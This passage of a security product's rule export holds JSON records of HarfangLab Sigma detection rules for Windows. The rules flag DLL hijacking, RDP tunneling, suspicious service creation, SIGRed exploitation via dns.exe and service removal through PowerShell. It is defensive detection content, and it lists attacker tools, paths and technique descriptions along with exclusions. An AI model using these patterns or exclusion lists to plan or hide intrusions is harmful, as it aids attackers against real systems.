+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599890Z",
+  "creation_date": "2026-03-23T11:45:34.599893Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599901Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wsmanhttpconfig.yml",
+  "content": "title: DLL Hijacking via wsmanhttpconfig.exe\nid: d780843d-b5c3-477b-bfc0-6468888ffaa0\ndescription: |\n    Detects potential Windows DLL Hijacking via wsmanhttpconfig.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wsmanhttpconfig.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DSROLE.dll'\n            - '\\HTTPAPI.dll'\n            - '\\mi.dll'\n            - '\\miutils.dll'\n            - '\\wsmsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d780843d-b5c3-477b-bfc0-6468888ffaa0",
+  "rule_name": "DLL Hijacking via wsmanhttpconfig.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wsmanhttpconfig.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d78a7360-f203-4d53-b8fb-f75fa596dd1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612849Z",
+  "creation_date": "2026-03-23T11:45:34.612853Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612860Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1519710302820089857",
+    "https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel",
+    "https://attack.mitre.org/software/S0508/",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1572_rdp_protocol_tunneling.yml",
+  "content": "title: RDP Logon via Network Tunnel\nid: d78a7360-f203-4d53-b8fb-f75fa596dd1a\ndescription: |\n    Detects uncommon applications performing loopback connections on IPv4 or IPv6 to the local RDP port.\n    Attackers may tunnel network communications through different protocols to avoid network filters and expose services.\n    Usually, this is done by establishing an internal port forward from an exposed port to a local port associated with the desired service.\n    It is recommended to verify the legitimacy of the process and for suspicious RDP activity on the system.\nreferences:\n    - https://twitter.com/malmoeb/status/1519710302820089857\n    - https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel\n    - https://attack.mitre.org/software/S0508/\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2023/02/13\nmodified: 2026/03/03\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        SourceIp:\n            - '::1'\n            - '::ffff:7f00:1'\n            - '127.0.0.1'\n            - '::ffff:127.0.0.1'\n        DestinationIp:\n            - '::1'\n            - '127.0.0.1'\n            - '::ffff:7f00:1'\n            - '::ffff:127.0.0.1'\n        Initiated: 'true'\n        DestinationPort: '3389'\n\n    # This is handled by the rule 49ed1286-c309-4fb0-bcfc-67f8039069c4\n    filter_ngrok:\n        - ProcessImage|endswith: '\\ngrok.exe'\n        - ProcessProduct: 'ngrok agent'\n        - ProcessImphash: 'FF9F3A86709796C17211F9DF12AAE74D'\n\n    exclusion_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_forward:\n        SourcePort: '3390'\n\n    exclusion_browsers:\n        Image|endswith:\n            - '\\chrome.exe'\n            - '\\chromium.exe'\n            - '\\firefox.exe'\n            - '\\brave.exe'\n            - '\\librewolf.exe'\n            - '\\msedge.exe'\n            - '\\msedgewebview2.exe'\n            - '\\iexplorer.exe'\n            - '\\safari.exe'\n            - '\\opera.exe'\n            - '\\SmartBrowser-Blink.exe'\n            - '\\vivaldi.exe'\n            - '\\CefSharp.BrowserSubprocess.exe'\n            - '\\AvastBrowser.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k tsgateway'\n            - '?:\\Windows\\system32\\svchost.exe -k tsgateway -s TSGateway'\n\n    exclusion_mstsc:\n        ProcessImage: '?:\\Windows\\System32\\mstsc.exe'\n\n    exclusion_wudfhost:\n        ProcessImage: '?:\\Windows\\System32\\WUDFHost.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_ipdiva:\n        ProcessImage|endswith: '\\bin\\IPdivaGateway.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Systancia SA'\n\n    exclusion_intel:\n        ProcessImage: '?:\\Windows\\System32\\DriverStore\\FileRepository\\dtt_sw.inf_amd64_*\\ipfsvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Intel Corporation'\n\n    exclusion_ingate:\n        ProcessImage|endswith: '\\xGate.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Axeda Corporation'\n\n    exclusion_connectwise:\n        ProcessImage|endswith: '\\LTSVC.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Connectwise, LLC'\n\n    exclusion_zabbix:\n        - ProcessAncestors: '|?:\\Program Files\\Zabbix Agent 2\\zabbix_agent2.exe|'\n        - ProcessCompany: 'Zabbix SIA'\n          ProcessDescription: 'zabbix_agent2.exe'\n\n    # too many monitoring script using powershell\n    exclusion_powershell:\n        Image: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n\n    exclusion_sap:\n        - ProcessImage|endswith: '\\SAP BusinessObjects Enterprise *\\win64_x64\\sapjvm\\bin\\java.exe'\n        - ProcessCommandLine|endswith: '\\tomcat\\bin\\tomcat?.exe //RS//BOEXI40Tomcat'\n\n    exclusion_telnet:\n        ProcessImage: '?:\\Windows\\System32\\telnet.exe'\n\n    exclusion_perplexity:\n        ProcessOriginalFileName: 'comet.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'PERPLEXITY AI, INC.'\n\n    exclusion_ecosia:\n        ProcessOriginalFileName: 'chrome.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ecosia GmbH'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d78a7360-f203-4d53-b8fb-f75fa596dd1a",
+  "rule_name": "RDP Logon via Network Tunnel",
+  "rule_description": "Detects uncommon applications performing loopback connections on IPv4 or IPv6 to the local RDP port.\nAttackers may tunnel network communications through different protocols to avoid network filters and expose services.\nUsually, this is done by establishing an internal port forward from an exposed port to a local port associated with the desired service.\nIt is recommended to verify the legitimacy of the process and for suspicious RDP activity on the system.\n",
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2026-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d79a2117-2edd-4df0-8347-ad9c7f0bb970",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296295Z",
+  "creation_date": "2026-03-23T11:45:35.296299Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296306Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
+    "https://redcanary.com/threat-detection-report/techniques/windows-service/",
+    "https://attack.mitre.org/techniques/T1543/003/"
+  ],
+  "name": "t1543_003_suspicious_service_created.yml",
+  "content": "title: Suspicious Service Created\nid: d79a2117-2edd-4df0-8347-ad9c7f0bb970\ndescription: |\n    Detects the creation of a Windows service that references executables and paths used commonly by attackers, such as powershell.exe, cmd.exe, or \"C:\\Windows\\Temp\".\n    Attackers may create Windows services to establish persistence.\n    It is recommended to investigate the command-line of the service, as well as the context execution of the process that created the detected sevice.\nreferences:\n    - https://redcanary.com/blog/blue-mockingbird-cryptominer/\n    - https://redcanary.com/threat-detection-report/techniques/windows-service/\n    - https://attack.mitre.org/techniques/T1543/003/\ndate: 2025/10/03\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.003\n    - classification.Windows.Source.Service\n    - classification.Windows.Behavior.ServiceCreation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: service\n    product: windows\ndetection:\n    selection:\n        OperationType: 'create'\n        ServiceCommandLine|contains:\n            # Scripts and shells\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n            - '\\python.exe'\n            - '\\python3.exe'\n            - '\\python2.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\rundll32.exe'\n            - '\\mshta.exe'\n            # Suspicious folders\n            - ':\\PerfLogs\\'\n            - ':\\Users\\\\*\\AppData\\Roaming\\'\n            - ':\\Users\\\\*\\AppData\\LocalLow\\'\n            - ':\\Users\\Default\\'\n            - ':\\Users\\Public\\'\n        # Filter out empty images\n        ProcessImage|contains: '?'\n\n    exclusion_hpqwmiex:\n        ProcessImage|endswith: '\\AppData\\Roaming\\\\*\\hpqwmiex.exe'\n        ServiceCommandLine|contains: '\\AppData\\Roaming\\\\*\\hpqwmiex.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\nissrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    exclusion_f5:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'F5 Networks Inc'\n            - 'F5, Inc.'\n\n    exclusion_zoom:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Zoom Video Communications, Inc.'\n\n    exclusion_veam:\n        ServiceCommandLine: '?:\\Windows\\Temp\\Veeam.SQL.*\\Veeam.SQL.Service.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_nable:\n        ServiceName: 'NableRemoteService'\n\n    exclusion_eset:\n        ProcessSigned: 'true'\n        ProcessSignature: 'ESET, spol. s r.o.'\n\n    exclusion_logmein:\n        ServiceCommandLine|contains:\n            - '?:\\Program Files (x86)\\LogMeIn Rescue Applet\\'\n            - '?:\\Program Files\\LogMeIn Rescue Applet\\'\n\n    exclusion_assist:\n        ProcessSigned: 'true'\n        ProcessSignature: 'RG Systèmes SAS'\n\n    exclusion_truecrypt:\n        ProcessSigned: 'true'\n        ProcessSignature: 'TrueCrypt Foundation'\n\n    exclusion_opswat:\n        ProcessSigned: 'true'\n        ProcessSignature: 'OPSWAT, Inc.'\n\n    exclusion_iobit:\n        ProcessSigned: 'true'\n        ProcessSignature: 'IObit CO., LTD'\n\n    exclusion_veracrypt:\n        ServiceCommandLine|endswith: '\\VeraCrypt\\veracrypt-x64.sys'\n        ServiceName: 'veracrypt'\n        ProcessImage|endswith:\n            - '\\VeraCrypt\\VeraCrypt.exe'\n            - '\\VeraCrypt\\VeraCrypt-x64.exe'\n\n    exclusion_dhcp_srv:\n        ServiceName: 'DHCPServer'\n        ServiceCommandLine|endswith: '\\dhcpsrv*\\dhcpsrv.exe\" -service'\n\n    exclusion_rustdesk:\n        ProcessGrandparentImage|endswith: '\\rustdesk\\rustdesk.exe'\n        ServiceName: 'RustDesk'\n\n    exclusion_fancontrol:\n        ServiceName: 'R0FanControl'\n        ServiceCommandLine|endswith: '\\fancontrol-v*\\FanControl.sys'\n\n    exclusion_openhardwaremonitor:\n        ServiceName: 'WinRing0_1_2_0'\n        ServiceCommandLine|endswith: '\\OpenHardwareMonitorLib.sys'\n\n    exclusion_sharepoint:\n        ServiceCommandLine|contains: '\\Microsoft\\SPMigration\\Bin\\Microsoft.SharePoint.Migration.ClientService.exe'\n        ProcessImage: '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\InstallUtil.exe'\n\n    exclusion_oracle:\n        ServiceCommandLine|contains: '\\bin\\ORACLE.EXE'\n        ServiceName|contains: 'Oracle'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d79a2117-2edd-4df0-8347-ad9c7f0bb970",
+  "rule_name": "Suspicious Service Created",
+  "rule_description": "Detects the creation of a Windows service that references executables and paths used commonly by attackers, such as powershell.exe, cmd.exe, or \"C:\\Windows\\Temp\".\nAttackers may create Windows services to establish persistence.\nIt is recommended to investigate the command-line of the service, as well as the context execution of the process that created the detected sevice.\n",
+  "rule_creation_date": "2025-10-03",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d7bedad5-e7a1-408b-aad1-6e5919a2de49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076940Z",
+  "creation_date": "2026-03-23T11:45:34.076942Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076947Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1350",
+    "https://www.logpoint.com/fr/blog/serveurs-windows-dns-vulnerabilite-cve-2020-1350/",
+    "https://attack.mitre.org/techniques/T1210/"
+  ],
+  "name": "t1210_dns_spawning_abnormal_processes.yml",
+  "content": "title: Abnormal Process Started by dns.exe\nid: d7bedad5-e7a1-408b-aad1-6e5919a2de49\ndescription: |\n    Detects the execution of an abnormal process by dns.exe.\n    This action can be indicative of the exploitation of CVE-2020-1350 (aka SIGRed), a vulnerability in Microsoft's Domain Name System (DNS) implementation on Windows Server versions from 2003 to 2019.\n    To exploit this vulnerability, an unauthenticated attacker needs to send malicious requests to a vulnerable Windows DNS server.\n    If successfully exploited, the vulnerability allows the attacker to run arbitrary code in the context of the Local System Account.\n    It is recommended to investigate the process tree for suspicious activities and to isolate the infected system if the exploitation is confirmed.\nreferences:\n    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1350\n    - https://www.logpoint.com/fr/blog/serveurs-windows-dns-vulnerabilite-cve-2020-1350/\n    - https://attack.mitre.org/techniques/T1210/\ndate: 2023/09/15\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1210\n    - cve.2020-1350\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2020-1350\n    - classification.Windows.Exploit.SIGRed\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage: '?:\\Windows\\System32\\dns.exe'\n\n    exclusion_werfault:\n        Image|endswith: '\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        OriginalFileName: 'WerFault.exe'\n        Signed: 'true'\n\n    exclusion_conhost:\n        Image:\n            - '?:\\Windows\\System32\\conhost.exe'\n            - '?:\\Windows\\SysWOW64\\conhost.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_dnscmd:\n        Image:\n            - '?:\\Windows\\System32\\dnscmd.exe'\n            - '?:\\Windows\\SysWOW64\\dnscmd.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_dns:\n        Image: '?:\\Windows\\System32\\dns.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d7bedad5-e7a1-408b-aad1-6e5919a2de49",
+  "rule_name": "Abnormal Process Started by dns.exe",
+  "rule_description": "Detects the execution of an abnormal process by dns.exe.\nThis action can be indicative of the exploitation of CVE-2020-1350 (aka SIGRed), a vulnerability in Microsoft's Domain Name System (DNS) implementation on Windows Server versions from 2003 to 2019.\nTo exploit this vulnerability, an unauthenticated attacker needs to send malicious requests to a vulnerable Windows DNS server.\nIf successfully exploited, the vulnerability allows the attacker to run arbitrary code in the context of the Local System Account.\nIt is recommended to investigate the process tree for suspicious activities and to isolate the infected system if the exploitation is confirmed.\n",
+  "rule_creation_date": "2023-09-15",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1210"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d7c122a5-c2d4-4d1c-bebb-b396e044254d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086472Z",
+  "creation_date": "2026-03-23T11:45:34.086474Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086479Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_powershell_remove_service.yml",
+  "content": "title: Service Removed via PowerShell\nid: d7c122a5-c2d4-4d1c-bebb-b396e044254d\ndescription: |\n    Detects the Remove-Service PowerShell cmdlet being used.\n    Attackers may use this cmdlet to remove a specific services, such as security services.\n    It is recommended to check if there is a legitimate reason for this service to be removed via PowerShell.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/10/15\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Remove-Service '\n\n    # https://learn.microsoft.com/en-us/powershell/module/exchange/remove-serviceprincipal?view=exchange-ps\n    exclusion_serviceprincipal:\n        PowershellCommand|contains: 'Remove-ServicePrincipal'\n\n    exclusion_exchange:\n        ProcessInternalName:\n            - 'ExSetupUI.exe'\n            - 'ExSetup.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_axiscommunication:\n        PowershellScriptPath|startswith: '?:\\ProgramData\\Axis Communications\\'\n\n    exclusion_scriptlaunchcache:\n        PowershellScriptPath|startswith: '?:\\WINDOWS\\system32\\config\\systemprofile\\ScriptLaunchCache\\InstallAdminAgent.ps1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d7c122a5-c2d4-4d1c-bebb-b396e044254d",
+  "rule_name": "Service Removed via PowerShell",
+  "rule_description": "Detects the Remove-Service PowerShell cmdlet being used.\nAttackers may use this cmdlet to remove a specific services, such as security services.\nIt is recommended to check if there is a legitimate reason for this service to be removed via PowerShell.\n",
+  "rule_creation_date": "2021-10-15",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d7d8cd4e-04dc-40b3-a834-8d3f13d58867",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601335Z",
+  "creation_date": "2026-03-23T11:45:34.601339Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601346Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_repair_bde.yml",
+  "content": "title: DLL Hijacking via repair-bde.exe\nid: d7d8cd4e-04dc-40b3-a834-8d3f13d58867\ndescription: |\n    Detects potential Windows DLL Hijacking via repair-bde.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - 